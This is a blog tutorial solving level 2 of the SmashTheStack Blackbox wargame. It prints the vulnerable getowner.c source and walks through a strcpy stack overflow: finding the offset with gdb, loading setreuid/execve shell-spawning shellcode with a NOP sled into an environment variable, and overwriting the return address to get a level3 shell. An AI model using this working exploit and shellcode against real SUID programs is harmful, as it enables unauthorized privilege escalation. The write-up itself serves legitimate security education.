Welcome back to Technolution. Today’s blog will be about the SmashTheStack wargame, Blackbox. We will be looking at level 2 of the wargame and as such I will assume you have the correct login credentials. Now let’s begin by ssh’ing into blackbox as level2.
Upon arrival a quick ls -la shows a SUID level3/level2 program called getowner as well as what we will assume is it’s source, getowner.c. Let’s examine getowner.c:
level2@blackbox:~$ more getowner.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>int main(int argc, char **argv)
{
char *filename;
char buf[128];if((filename = getenv(“filename”)) == NULL) {
printf(“No filename configured!\n”);
return 1;
}while(*filename == ‘/’)
filename++;
strcpy(buf, “/tmp/”);
strcpy(&buf[strlen(buf)], filename);struct stat stbuf;
stat(buf, &stbuf);
printf(“The owner of this file is: %d\n”, stbuf.st_uid);return 0;
}
Before we can exploit a vulnerability we must first find one, and the first step towards finding a vulnerability is to understand what the program is doing. Looking at the source we see that there are two variables used in the program, a character pointer called filename and a character array of size 128 called buf. After variable declaration the program gets the address of the start of an environmental variable called “filename” and assigns it to our char pointer, filename. If no environmental variable called filename exists, the program prints “No filename configured” and exits. At this point, we can see that we may have a way to insert code into the program by controlling the environmental variable “filename”, however we need to see what the program does with the string to see how it might be of use. After loading the filename variable the next step of the program tests the contents of the string pointed to by filename. If the string starts with the character “/”, filename is advanced by one. This effectively strips any leading “/” characters from the filename string.
Next, we see the use of strcpy. As used, strcpy copies the string provided as the 2nd parameter to continuous memory starting at the location provided by the first parameter. It will continue to copy memory until a NULL character is reached (hex 0x00). Thus we see the memory for our char array buf, get’s the string “/tmp/” written to it, then the contents of the memory starting at the location pointed to by filename written starting after the “/tmp/”.
After strcpy, a structure is assigned for file stats, using the full file name now in buf. Finally, printf writes to the screen the owner of the file with location stored in buf (/tmp/stringPointedToByfilename), and the program exits.
Now that we understand the program, we can analyze how it might be vulnerable to exploitation. Understanding the call stack is important for what we are looking at here today with buffer overflows. Hopefully we are familiar with the idea of the call stack, and that when functions are called on a computer, they need memory to be allocated for their variables, and a couple other things. This isn’t a stack tutorial so we won’t go into general details, but let’s look at today’s example. In our getowner program, when main is executed, we will see the following layout on the call stack:
[filename][buf][argc/argv][sfp] [ra]
[CCCC][BB…BB][DD…DD][XXXX][ZZZZ]
[4bytes][128bytes][4bytes+9bytes][4bytes][4bytes]
This memory structure, combined with strcpy into buf, means that if we supply a string to strcpy that is longer than buf, strcpy will end up overwriting the memory for argc/argv, the saved frame pointer, and eventually the return address. This is a major security problem in that if the return address is overwritten with a value representing a valid memory location, any code at that location will be executed. It’s also a quality assurance problem in that if the return address doesn’t have a valid location in it, it will cause a program crash.
Now we know we can and want to overflow buf, so let’s think backwards. How does buf get it’s data? From filename. Where does filename get it’s value? From the environmental variable called “filename”. So let’s create an environmental variable with the name filename and a value of a string of A’s using perl and the export command. Let’s also test the getowner program after doing so to make sure it reads the env var:
level2@blackbox:~$ export filename=`perl -e ‘print “A”x160’`
level2@blackbox:~$ ./getowner
The owner of this file is: 0
Segmentation fault
There we go. Segmentation fault is indicating we’re most likely overwritten the return address and the program is trying to execute code at a memory address without valid executable code. The next thing we want to do is determine how many A’s we need to stuff in filename so that we can carefully overwrite the return address. We can examine the RA using gdb. Let’s give it a test run:
level2@blackbox:~$ gdb getowner
GNU gdb 6.4.90-debian
…(gdb) run
Starting program: /home/level2/getowner
The owner of this file is: 0Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
The 0x41414141 at the end is our indicator that the return address, and eventually EIP, got overwritten with A’s (41 is the hex code value for ascii A). From here we will do a quick test with the filename string length to determine how many bytes are needed til we overwrite the RA. One could also continue using gdb to determine where the RA is and how many bytes are between the buffer and RA, but we’ll go with the less technical route today for ease of readability (and since this isn’t a gdb tutorial).
Now that we know 160 A’s overwrites the return address, let’s try with 150, and add the 32 bit string “BBBB” to the end. This is to help determine the correct number of bytes before the return address. Let’s try again:
level2@blackbox:~$ export filename=`perl -e ‘print “A”x150,”BBBB”‘`
level2@blackbox:~$ gdb getowner
GNU gdb 6.4.90-debian
…(gdb) run
Starting program: /home/level2/getowner
The owner of this file is: 0Program received signal SIGSEGV, Segmentation fault.
0x00424242 in ?? ()
Excellent! We can see with 154 total bytes, we are one byte short of completely filling up the return address. Thus, adding one more A to our string (151 in total) will correctly position the 32 bit string “BBBB” to overwrite the return address. Now if we replace “BBBB” with 4 hex bytes that correspond to an actual memory address, we’ll be ready to make the program go execute the code we desire. First however, we must decide on the code we want to execute. Then we can place it into memory, and finally, get it’s memory address.
To write code which will execute, we must write it in low-level op-code. Op-code is Operating System and hardware architecture dependent. We will refer to our op-code today as shellcode since we will be using code which spawns a shell [executes /bin/sh with the linux command execve(/bin/sh)]. Since today’s article is not about writing shellcode we will simply use the following 42 byte shellcode which we obtained online from Packet Storm:
“\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb\x89\xd8”
“\xb0\x2e\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68”
“\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31”
“\xd2\xb0\x0b\xcd\x80”
The easiest way to place the above code into memory would be to place it in an environmental variable. While we could use the filename environmental variable, we can also make a new one. So to keep things simple, let’s assign our shellcode to the environmental variable SHELLCODE:
level2@blackbox:~$ export SHELLCODE=$’\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31
\xdb\x89\xd8\xb0\x2e\xcd\x80\x31\xc0\x50\x68
\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3
\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80′
One thing to note about the above shellcode is that we added the hex value \x90 to the beginning a few times. \x90 is the op-code instruction for No-Operation (or NOP). No-op’s don’t perform any operation during the CPU cycle and simply forward to the next instruction. This no-op padding is used so if our program switches execution to the memory location of any if the NOPs, we will be fast forwarded to our shellcode.
Now that our shellcode is loaded into memory, we need to find out where it memory it resides. To do this we will use a quick C program that takes as input one string, the name of an environmental variable. The program then returns the address in memory where the environmental variable is stored. Let’s look at the program:
#include <stdio.h>
#include <stdlib.h>int main(int argc, char *argv[])
{
if(!argv[1])
exit(1);
printf(“%#x\n”, getenv(argv[1]));
return 0;
}
Now let’s compile our program and use it to find the memory location of the environmental variable SHELLCODE:
level2@blackbox:/tmp/.somedir$ gcc getmem.c -o getmem
level2@blackbox:/tmp/.somedir$ ./getmem SHELLCODE
0xbfffdb78
Alright! Now we know our shellcode begins at memory location 0xbfffdb78. Next we should replace our “BBBB” string from filename from the environmental variable with a memory value in the middle of our NOP-sled, and our exploit should be complete! One last thing to remember is that we need to write the memory address in little-endian format, which means reverse byte format. Let’s rewrite out filename environmental variable:
level2@blackbox:/tmp/.somedir$ export filename=`perl -e ‘print “A”x151,”\x7f\xdb\xff\xbf”‘`
Now let’s see what happens when we run the vulnerable getowner program:
level2@blackbox:~$ ./getowner
The owner of this file is: 0
sh-3.1$ whoami
level3
There we have it, shell as level3. Don’t forget to check out /home/level3/password for the level3 password. Level2 has been an intro to buffer overflows. While buffer overflow attacks have been common for a long time, compilers and operating systems are working on ways to combat them. However, most of the protective measures can also be circumvented by a crafty attacker. Due to the nature of buffer overflows, this type of vulnerability is expected to stay around for a long time.